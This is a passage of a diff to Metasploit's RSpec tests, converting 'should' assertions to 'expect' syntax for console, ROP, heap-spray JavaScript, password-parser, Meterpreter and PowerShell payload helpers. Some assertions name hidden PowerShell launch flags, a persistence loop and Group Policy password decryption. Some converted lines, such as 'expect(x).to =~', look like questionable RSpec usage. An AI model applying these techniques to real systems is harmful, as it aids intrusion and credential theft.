expect(cell(printed_table, 0, 2)).to include(Msf::RankingName[module_detail.rank]) end it 'should have name in fourth column' do - cell(printed_table, 0, 3).should include(module_detail.name) + expect(cell(printed_table, 0, 3)).to include(module_detail.name) end end end @@ -113,14 +113,14 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do if framework_re @output = [] core.cmd_getg(name) - @output.join.should =~ framework_re + expect(@output.join).to =~ framework_re end # test the local value if specified if module_re @output = [] core.cmd_get(name) - @output.join.should =~ module_re + expect(@output.join).to =~ module_re end end @@ -128,10 +128,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do describe "without arguments" do it "should show the correct help message" do core.cmd_get - @output.join.should =~ /Usage: get / + expect(@output.join).to =~ /Usage: get / @output = [] core.cmd_getg - @output.join.should =~ /Usage: getg / + expect(@output.join).to =~ /Usage: getg / end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index efb93bc0e8..0523458532 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -200,7 +200,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do context "with an invalid type" do it "should print the list of valid types" do db.cmd_creds("-t", "asdf") - @error.should =~ [ + expect(@error).to =~ [ "Unrecognized credential type asdf -- must be one of password,ntlm,hash" ] end @@ -272,7 +272,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_creds("-t", "ntlm") # Table matching really sucks - @output.should =~ [ + expect(@output).to =~ [ "Credentials", "===========", "", @@ -319,7 +319,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_db_export "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage:", " db_export -f <format> [filename]", " Format can be one of: xml, pwdump" @@ -332,7 +332,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_db_import "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: db_import <filename> [file2...]", "Filenames can be globs like *.xml, or **/*.xml which will search recursively", "Currently supported file types include:", @@ -377,7 +377,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_hosts "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: hosts [ options ] [addr1 addr2 ...]", "OPTIONS:", " -a,--add Add the hosts instead of searching", @@ -402,7 +402,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_loot "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: loot <options>", " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]", " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", @@ -424,7 +424,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_notes "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]", " -a,--add Add a note to the list of addresses, instead of listing", " -d,--delete Delete the hosts instead of searching", @@ -450,7 +450,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_services "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]", " -a,--add Add the services instead of searching", " -d,--delete Delete the services instead of searching", @@ -476,7 +476,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do end it "should list services that are on a given port" do db.cmd_services "-p", "1024,1025" - @output.should =~ [ + expect(@output).to =~ [ "Services", "========", "", @@ -498,7 +498,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do skip { db.cmd_services "-np", "1024" - @output.should =~ [ + expect(@output).to =~ [ "Services", "========", "", @@ -516,7 +516,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_vulns "-h" - @output.should =~ [ + expect(@output).to =~ [ "Print all vulnerabilities in the database", "Usage: vulns [addr range]", " -h,--help Show this help information", @@ -542,7 +542,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "<no arguments>" do it "should list default workspace" do db.cmd_workspace - @output.should =~ [ + expect(@output).to =~ [ "* default" ] end @@ -551,7 +551,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace - @output.should =~ [ + expect(@output).to =~ [ " default", "* foo" ] @@ -561,7 +561,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-a" do it "should add workspaces" do db.cmd_workspace("-a", "foo", "bar", "baf") - @output.should =~ [ + expect(@output).to =~ [ "Added workspace: foo", "Added workspace: bar", "Added workspace: baf" @@ -574,7 +574,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace("-d", "foo") - @output.should =~ [ + expect(@output).to =~ [ "Deleted workspace: foo", "Switched workspace: default" ] @@ -586,7 +586,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace("-D") - @output.should =~ [ + expect(@output).to =~ [ "Deleted and recreated the default workspace", "Deleted workspace: foo", "Switched workspace: default" @@ -597,7 +597,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_workspace "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage:", " workspace List workspaces", " workspace [name] Switch workspace", diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index 577ddb2701..a5169184cc 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -7,21 +7,21 @@ RSpec.describe Rex::Exploitation::Js::Detect do context ".os" do it "should load the OS detection in Javascript" do js = Rex::Exploitation::Js::Detect.os.to_s - js.should =~ /os_detect/ + expect(js).to =~ /os_detect/ end end context ".ie_addons" do it "should load the IE Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.ie_addons.to_s - js.should =~ /ie_addons_detect/ + expect(js).to =~ /ie_addons_detect/ end end context ".misc_addons" do it "should load the misc Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.misc_addons.to_s - js.should =~ /misc_addons_detect/ + expect(js).to =~ /misc_addons_detect/ end end diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb index 1750373ff2..1cdc5e0716 100644 --- a/spec/lib/rex/exploitation/js/memory_spec.rb +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -7,21 +7,21 @@ RSpec.describe Rex::Exploitation::Js::Memory do context ".mstime_malloc" do it "should load the mstime_malloc javascript" do js = Rex::Exploitation::Js::Memory.mstime_malloc - js.should =~ /function mstime_malloc/ + expect(js).to =~ /function mstime_malloc/ end end context ".property_spray" do it "should load the property_spray javascript" do js = Rex::Exploitation::Js::Memory.property_spray - js.should =~ /function sprayHeap/ + expect(js).to =~ /function sprayHeap/ end end context ".heap_spray" do it "should load the heap_spray javascript" do js = Rex::Exploitation::Js::Memory.heap_spray - js.should =~ /function sprayHeap/ + expect(js).to =~ /function sprayHeap/ end end diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb index 34891e4866..61ad8a5c71 100644 --- a/spec/lib/rex/exploitation/js/network_spec.rb +++ b/spec/lib/rex/exploitation/js/network_spec.rb @@ -7,14 +7,14 @@ RSpec.describe Rex::Exploitation::Js::Network do context ".ajax_download" do it "should load the ajax_download javascript" do js = Rex::Exploitation::Js::Network.ajax_download - js.should =~ /function ajax_download/ + expect(js).to =~ /function ajax_download/ end end context ".ajax_post" do it "should load the postInfo javascript" do js = Rex::Exploitation::Js::Network.ajax_post - js.should =~ /function postInfo/ + expect(js).to =~ /function postInfo/ end end diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb index 240d4ad0ec..2d4d0043f3 100644 --- a/spec/lib/rex/exploitation/js/utils_spec.rb +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -7,7 +7,7 @@ RSpec.describe Rex::Exploitation::Js::Utils do context ".base64" do it "should load the base64 javascript" do js = Rex::Exploitation::Js::Utils.base64 - js.should =~ /encode : function/ + expect(js).to =~ /encode : function/ end end diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index 8a2e2aa82a..e8088418dd 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -10,41 +10,41 @@ RSpec.describe Rex::Exploitation::RopDb do context ".initialize" do it "should initialize with a path of the ROP database ready" do - ropdb.instance_variable_get(:@base_path).should =~ /data\/ropdb\/$/ + expect(ropdb.instance_variable_get(:@base_path)).to =~ /data\/ropdb\/$/ end end context ".has_rop?" do it "should find the msvcrt ROP database" do - ropdb.has_rop?("msvcrt").should be_truthy + expect(ropdb.has_rop?("msvcrt")).to be_truthy end it "should find the java ROP database" do - ropdb.has_rop?("java").should be_truthy + expect(ropdb.has_rop?("java")).to be_truthy end it "should find the hxds ROP database" do - ropdb.has_rop?("hxds").should be_truthy + expect(ropdb.has_rop?("hxds")).to be_truthy end it "should find the flash ROP database" do - ropdb.has_rop?("flash").should be_truthy + expect(ropdb.has_rop?("flash")).to be_truthy end it "should return false when I supply an invalid database" do - ropdb.has_rop?("sinn3r").should be_falsey + expect(ropdb.has_rop?("sinn3r")).to be_falsey end end context ".select_rop" do it "should return msvcrt gadgets" do gadgets = ropdb.select_rop('msvcrt') - gadgets.length.should > 0 + expect(gadgets.length).to > 0 end it "should return msvcrt gadgets for windows server 2003" do gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'}) - gadgets.length.should > 0 + expect(gadgets.length).to > 0 end it "should return msvcrt gadgets with a new base" do @@ -57,27 +57,27 @@ RSpec.describe Rex::Exploitation::RopDb do context ".generate_rop_payload" do it "should generate my ROP payload" do - ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/ + expect(ropdb.generate_rop_payload('msvcrt', 'AAAA')).to =~ /AAAA$/ end it "should generate my ROP payload with my stack pivot" do - ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'}).should =~ /^BBBB/ + expect(ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'})).to =~ /^BBBB/ end end context ".get_safe_size" do it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do - ropdb.send(:get_safe_size, 304).should eq(0xfffffed0) + expect(ropdb.send(:get_safe_size, 304)).to eq(0xfffffed0) end it "should return 0xfffffeff (value is modified to avoid null bytes)" do - ropdb.send(:get_safe_size, 256).should eq(0xfffffeff) + expect(ropdb.send(:get_safe_size, 256)).to eq(0xfffffeff) end end context ".get_unsafe_size" do it "should return 0xfffffc00 (contains a null byte)" do - ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00) + expect(ropdb.send(:get_unsafe_size, 1024)).to eq(0xfffffc00) end end diff --git a/spec/lib/rex/file_utils_spec.rb b/spec/lib/rex/file_utils_spec.rb index 5f4d2deef0..1230c0ee0e 100644 --- a/spec/lib/rex/file_utils_spec.rb +++ b/spec/lib/rex/file_utils_spec.rb @@ -5,53 +5,53 @@ RSpec.describe Rex::FileUtils do context ".normalize_win_path" do it "should convert an absolute path as an array into Windows format" do - described_class.normalize_win_path('C:\\', 'hello', 'world').should eq("C:\\hello\\world") + expect(described_class.normalize_win_path('C:\\', 'hello', 'world')).to eq("C:\\hello\\world") end it "should convert an absolute path as a string into Windows format" do - described_class.normalize_win_path('C:\\hello\\world').should eq("C:\\hello\\world") + expect(described_class.normalize_win_path('C:\\hello\\world')).to eq("C:\\hello\\world") end it "should convert a relative path" do - described_class.normalize_win_path('/', 'test', 'me').should eq("\\test\\me") - described_class.normalize_win_path('\\temp').should eq("\\temp") - described_class.normalize_win_path('temp').should eq("temp") + expect(described_class.normalize_win_path('/', 'test', 'me')).to eq("\\test\\me") + expect(described_class.normalize_win_path('\\temp')).to eq("\\temp") + expect(described_class.normalize_win_path('temp')).to eq("temp") end it "should keep the trailing slash if exists" do - described_class.normalize_win_path('/', 'test', 'me\\').should eq("\\test\\me\\") - described_class.normalize_win_path('\\temp\\').should eq("\\temp\\") + expect(described_class.normalize_win_path('/', 'test', 'me\\')).to eq("\\test\\me\\") + expect(described_class.normalize_win_path('\\temp\\')).to eq("\\temp\\") end it "should convert a path without reserved characters" do - described_class.normalize_win_path('C:\\', 'Windows:').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\Windows???\\test').should eq("C:\\Windows\\test") + expect(described_class.normalize_win_path('C:\\', 'Windows:')).to eq("C:\\Windows") + expect(described_class.normalize_win_path('C:\\Windows???\\test')).to eq("C:\\Windows\\test") end it "should convert a path without double slashes" do - described_class.normalize_win_path('C:\\\\\\', 'Windows').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt').should eq("C:\\Hello World\\whatever.txt") - described_class.normalize_win_path('C:\\\\').should eq("C:\\") - described_class.normalize_win_path('\\test\\\\test\\\\').should eq("\\test\\test\\") + expect(described_class.normalize_win_path('C:\\\\\\', 'Windows')).to eq("C:\\Windows") + expect(described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt')).to eq("C:\\Hello World\\whatever.txt") + expect(described_class.normalize_win_path('C:\\\\')).to eq("C:\\") + expect(described_class.normalize_win_path('\\test\\\\test\\\\')).to eq("\\test\\test\\") end end context ".normalize_unix_path" do it "should convert an absolute path as an array into Unix format" do - described_class.normalize_unix_path('/etc', '/passwd').should eq("/etc/passwd") + expect(described_class.normalize_unix_path('/etc', '/passwd')).to eq("/etc/passwd") end it "should convert an absolute path as a string into Unix format" do - described_class.normalize_unix_path('/etc/passwd').should eq('/etc/passwd') + expect(described_class.normalize_unix_path('/etc/passwd')).to eq('/etc/passwd') end it "should still give me a trailing slash if I have it" do - described_class.normalize_unix_path('/etc/folder/').should eq("/etc/folder/") + expect(described_class.normalize_unix_path('/etc/folder/')).to eq("/etc/folder/") end it "should convert a path without double slashes" do - described_class.normalize_unix_path('//etc////passwd').should eq("/etc/passwd") - described_class.normalize_unix_path('/etc////', 'passwd').should eq('/etc/passwd') + expect(described_class.normalize_unix_path('//etc////passwd')).to eq("/etc/passwd") + expect(described_class.normalize_unix_path('/etc////', 'passwd')).to eq('/etc/passwd') end end diff --git a/spec/lib/rex/parser/group_policy_preferences_spec.rb b/spec/lib/rex/parser/group_policy_preferences_spec.rb index 4b4491ce55..a8d960eb2b 100644 --- a/spec/lib/rex/parser/group_policy_preferences_spec.rb +++ b/spec/lib/rex/parser/group_policy_preferences_spec.rb @@ -95,23 +95,23 @@ RSpec.describe Rex::Parser::GPP do ## it "Decrypt returns Local*P4ssword! for normal cpassword" do result = GPP.decrypt(cpassword_normal) - result.should eq("Local*P4ssword!") + expect(result).to eq("Local*P4ssword!") end it "Decrypt returns blank for bad cpassword" do result = GPP.decrypt(cpassword_bad) - result.should eq("") + expect(result).to eq("") end it "Decrypt returns blank for nil cpassword" do result = GPP.decrypt(nil) - result.should eq("") + expect(result).to eq("") end it 'Decrypts a cpassword containing junk padding' do cpassword_win2k8.each do |encrypted, expected| result = GPP.decrypt(encrypted) - result.should eq(expected) + expect(result).to eq(expected) end end @@ -120,21 +120,21 @@ RSpec.describe Rex::Parser::GPP do ## it "Parse returns empty [] for nil" do - GPP.parse(nil).should be_empty + expect(GPP.parse(nil)).to be_empty end it "Parse returns results for xml_ms and password is empty" do results = GPP.parse(xml_ms) results.should_not be_empty - results[0][:PASS].should be_empty + expect(results[0][:PASS]).to be_empty end it "Parse returns results for xml_datasrc, and attributes, and password is test1" do results = GPP.parse(xml_datasrc) results.should_not be_empty - results[0].include?(:ATTRIBUTES).should be_truthy + expect(results[0].include?(:ATTRIBUTES)).to be_truthy results[0][:ATTRIBUTES].should_not be_empty - results[0][:PASS].should eq("test") + expect(results[0][:PASS]).to eq("test") end xmls = [] diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index 5485dabea9..81b0a7ad51 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -32,15 +32,15 @@ RSpec.describe Rex::Parser::NmapXMLStreamParser do host.should_not be_nil end it "should populate the host with proper keys" do - host.should have_key("status") - host.should have_key("ports") - host.should have_key("addrs") - host["ports"].should be_a(Array) - host["addrs"].should be_a(Hash) + expect(host).to have_key("status") + expect(host).to have_key("ports") + expect(host).to have_key("addrs") + expect(host["ports"]).to be_a(Array) + expect(host["addrs"]).to be_a(Hash) end it "should find the address" do expect(host["addrs"].keys.length).to eq 1 - host["addrs"].should have_key("ipv4") + expect(host["addrs"]).to have_key("ipv4") expect(host["addrs"]["ipv4"]).to eq "192.168.0.1" end } diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index 6de56a4ac2..34a22d55cb 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -18,14 +18,14 @@ RSpec.describe Rex::Parser::Unattend do context "#parse" do it "returns passwords for b64" do results = described_class.parse(b64) - results.length.should eq(2) - results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) + expect(results.length).to eq(2) + expect(results[0]['password']).to eq(Rex::Text.to_unicode('Temp123')) end it "returns passwords for domain join" do results = described_class.parse(dj) - results.length.should eq(1) - results[0]['password'].should eq('Password1') + expect(results.length).to eq(1) + expect(results[0]['password']).to eq('Password1') end pos_xmls = [dj, b64, comb, std, lng] @@ -42,7 +42,7 @@ RSpec.describe Rex::Parser::Unattend do it "returns no results for negative examples" do neg_xmls.each do |xml| results = described_class.parse(xml) - results.should be_empty + expect(results).to be_empty end end end diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 863136727d..decb87bbc6 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -28,7 +28,7 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do while @raw.length >0 parsed_packet = parser.recv(@sock) end - parsed_packet.should be_a Rex::Post::Meterpreter::Packet + expect(parsed_packet).to be_a Rex::Post::Meterpreter::Packet expect(parsed_packet.type).to eq Rex::Post::Meterpreter::PACKET_TYPE_REQUEST expect(parsed_packet.method?("test_method")).to eq true end diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 216d7c9121..4a4546b098 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -10,39 +10,39 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do } it "should respond to type" do - tlv.should respond_to :type + expect(tlv).to respond_to :type end it "should respond to value" do - tlv.should respond_to :value + expect(tlv).to respond_to :value end it "should respond to compress" do - tlv.should respond_to :compress + expect(tlv).to respond_to :compress end it "should respond to inspect" do - tlv.should respond_to :inspect + expect(tlv).to respond_to :inspect end it "should respond to meta_type?" do - tlv.should respond_to :meta_type? + expect(tlv).to respond_to :meta_type? end it "should respond to type?" do - tlv.should respond_to :type? + expect(tlv).to respond_to :type? end it "should respond to value?" do - tlv.should respond_to :value? + expect(tlv).to respond_to :value? end it "should respond to to_r" do - tlv.should respond_to :to_r + expect(tlv).to respond_to :to_r end it "should respond to from_r" do - tlv.should respond_to :from_r + expect(tlv).to respond_to :from_r end context "A String TLV" do @@ -132,63 +132,63 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do } it "should respond to tlvs" do - group_tlv.should respond_to :tlvs + expect(group_tlv).to respond_to :tlvs end it "should respond to each" do - group_tlv.should respond_to :each + expect(group_tlv).to respond_to :each end it "should respond to each_tlv" do - group_tlv.should respond_to :each_tlv + expect(group_tlv).to respond_to :each_tlv end it "should respond to each_with_index" do - group_tlv.should respond_to :each_with_index + expect(group_tlv).to respond_to :each_with_index end it "should respond to each_tlv_with_index" do - group_tlv.should respond_to :each_tlv_with_index + expect(group_tlv).to respond_to :each_tlv_with_index end it "should respond to get_tlvs" do - group_tlv.should respond_to :get_tlvs + expect(group_tlv).to respond_to :get_tlvs end it "should respond to add_tlv" do - group_tlv.should respond_to :add_tlv + expect(group_tlv).to respond_to :add_tlv end it "should respond to add_tlvs" do - group_tlv.should respond_to :add_tlvs + expect(group_tlv).to respond_to :add_tlvs end it "should respond to get_tlv" do - group_tlv.should respond_to :get_tlv + expect(group_tlv).to respond_to :get_tlv end it "should respond to get_tlv_value" do - group_tlv.should respond_to :get_tlv_value + expect(group_tlv).to respond_to :get_tlv_value end it "should respond to get_tlv_values" do - group_tlv.should respond_to :get_tlv_values + expect(group_tlv).to respond_to :get_tlv_values end it "should respond to has_tlv?" do - group_tlv.should respond_to :has_tlv? + expect(group_tlv).to respond_to :has_tlv? end it "should respond to reset" do - group_tlv.should respond_to :reset + expect(group_tlv).to respond_to :reset end it "should respond to to_r" do - group_tlv.should respond_to :to_r + expect(group_tlv).to respond_to :to_r end it "should respond to from_r" do - group_tlv.should respond_to :from_r + expect(group_tlv).to respond_to :from_r end it "should return an empty array for tlvs by default" do @@ -231,12 +231,12 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do it "should raise an error when given something other than nil or an array" do skip "RM #7598" - group_tlv.add_tlvs("bad value").should raise_error + expect(group_tlv.add_tlvs("bad value")).to raise_error end it "should raise an error when given an array of objects other than hashes" do skip "RM #7598" - group_tlv.add_tlvs([1,2,3]).should raise_error + expect(group_tlv.add_tlvs([1,2,3])).to raise_error end it "should raise an error when any of the hashes are missing a key" do @@ -245,7 +245,7 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING, :value => "test"}, {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING} ] - group_tlv.add_tlvs(tlv_array).should raise_error + expect(group_tlv.add_tlvs(tlv_array)).to raise_error end end @@ -373,35 +373,35 @@ RSpec.describe Rex::Post::Meterpreter::Packet do } it "should respond to created_at" do - packet.should respond_to :created_at + expect(packet).to respond_to :created_at end it "should respond to response?" do - packet.should respond_to :response? + expect(packet).to respond_to :response? end it "should respond to method?" do - packet.should respond_to :method? + expect(packet).to respond_to :method? end it "should respond to method" do - packet.should respond_to :method + expect(packet).to respond_to :method end it "should respond to result?" do - packet.should respond_to :result? + expect(packet).to respond_to :result? end it "should respond to result=" do - packet.should respond_to :result= + expect(packet).to respond_to :result= end it "should respond to result" do - packet.should respond_to :result + expect(packet).to respond_to :result end it "should respond to rid" do - packet.should respond_to :rid + expect(packet).to respond_to :rid end it "should return false for response?" do @@ -427,7 +427,7 @@ RSpec.describe Rex::Post::Meterpreter::Packet do end it "should return a valid request id" do - packet.rid.should =~ /\A\d{32}\Z/ + expect(packet.rid).to =~ /\A\d{32}\Z/ end it "should be created when Packet.create_request is called" do diff --git a/spec/lib/rex/powershell/command_spec.rb b/spec/lib/rex/powershell/command_spec.rb index 873c226368..90097191df 100644 --- a/spec/lib/rex/powershell/command_spec.rb +++ b/spec/lib/rex/powershell/command_spec.rb @@ -22,8 +22,8 @@ RSpec.describe Rex::Powershell::Command do describe "::encode_script" do it 'should read and encode a sample script file' do script = subject.encode_script(example_script) - script.should be - script.length.should be > 0 + expect(script).to be + expect(script.length).to be > 0 end end @@ -32,14 +32,14 @@ RSpec.describe Rex::Powershell::Command do it 'should create a compressed script' do script = File.read(example_script) compressed = subject.compress_script(script) - compressed.length.should be < script.length - compressed.include?('IO.Compression').should be_truthy + expect(compressed.length).to be < script.length + expect(compressed.include?('IO.Compression')).to be_truthy end it 'should create a compressed script with eof' do script = File.read(example_script) compressed = subject.compress_script(script, 'end_of_file') - compressed.include?('end_of_file').should be_truthy + expect(compressed.include?('end_of_file')).to be_truthy end end @@ -47,14 +47,14 @@ RSpec.describe Rex::Powershell::Command do it 'should strip comments' do script = File.read(example_script) compressed = subject.compress_script(script, nil, strip_comments: true) - compressed.length.should be < script.length + expect(compressed.length).to be < script.length end end context 'when strip_comment is false' do it 'shouldnt strip comments' do script = File.read(example_script) compressed = subject.compress_script(script, nil, strip_comments: false) - compressed.length.should be < script.length + expect(compressed.length).to be < script.length end end @@ -62,7 +62,7 @@ RSpec.describe Rex::Powershell::Command do it 'should strip whitespace' do script = File.read(example_script) compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: true) - decompress(compressed).length.should be < script.length + expect(decompress(compressed).length).to be < script.length end end @@ -78,7 +78,7 @@ RSpec.describe Rex::Powershell::Command do it 'should substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script, nil, sub_vars: true) - decompress(compressed).include?('$hashes').should be_falsey + expect(decompress(compressed).include?('$hashes')).to be_falsey end end @@ -86,7 +86,7 @@ RSpec.describe Rex::Powershell::Command do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script, nil, sub_vars: false) - decompress(compressed).include?('$hashes').should be_truthy + expect(decompress(compressed).include?('$hashes')).to be_truthy end end @@ -94,7 +94,7 @@ RSpec.describe Rex::Powershell::Command do it 'should substitute functions' do script = File.read(example_script) compressed = subject.compress_script(script, nil, sub_funcs: true) - decompress(compressed).include?('DumpHashes').should be_falsey + expect(decompress(compressed).include?('DumpHashes')).to be_falsey end end @@ -102,7 +102,7 @@ RSpec.describe Rex::Powershell::Command do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script, nil, sub_funcs: false) - decompress(compressed).include?('DumpHashes').should be_truthy + expect(decompress(compressed).include?('DumpHashes')).to be_truthy end end end @@ -115,35 +115,35 @@ RSpec.describe Rex::Powershell::Command do context 'when x86 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('syswow64').should be_truthy + expect(code.include?('syswow64')).to be_truthy end end context 'when x64 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, 'x86_64', encoded) - code.include?('sysnative').should be_truthy + expect(code.include?('sysnative')).to be_truthy end end context 'when encoded' do it 'should generate a code including an encoded command' do code = subject.run_hidden_psh(payload, arch, true) - code.include?('-nop -w hidden -e ').should be_truthy + expect(code.include?('-nop -w hidden -e ')).to be_truthy end end context 'when command' do it 'should generate code including a -c command' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('-nop -w hidden -c ').should be_truthy + expect(code.include?('-nop -w hidden -c ')).to be_truthy end end context 'when old' do it 'should generate a code including unshorted args' do code = subject.run_hidden_psh(payload, arch, encoded, method: 'old') - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ')).to be_truthy end end end @@ -168,71 +168,71 @@ RSpec.describe Rex::Powershell::Command do except = true end - except.should be_truthy + expect(except).to be_truthy end end context 'when persist is true' do it 'should add a persistance loop' do code = subject.cmd_psh_payload(payload, arch, template_path, persist: true, method: psh_method) - decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy + expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_truthy end end context 'when persist is false' do it 'shouldnt add a persistance loop' do code = subject.cmd_psh_payload(payload, arch, template_path, persist: false, method: psh_method) - decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_falsey end end context 'when prepend_sleep is set' do it 'should prepend sleep' do code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 5, method: psh_method) - decompress(code).include?('Start-Sleep -s ').should be_truthy + expect(decompress(code).include?('Start-Sleep -s ')).to be_truthy end end context 'when prepend_sleep isnt set' do it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch, template_path, method: psh_method) - decompress(code).include?('Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey end end context 'when prepend_sleep is 0' do it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 0, method: psh_method) - decompress(code).include?('Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey end end context 'when method is old' do it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old') - decompress(code).include?('-namespace Win32Functions').should be_truthy + expect(decompress(code).include?('-namespace Win32Functions')).to be_truthy end it 'shouldnt shorten args' do code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old') - code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -Command')).to be_truthy end it 'should include -NoExit' do code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old') - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command')).to be_truthy end end context 'when method is net' do it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch, template_path, method: 'net') - decompress(code).include?('System.Runtime.InteropServices;').should be_truthy + expect(decompress(code).include?('System.Runtime.InteropServices;')).to be_truthy end end context 'when method is reflection' do it 'should generate a command line' do code = 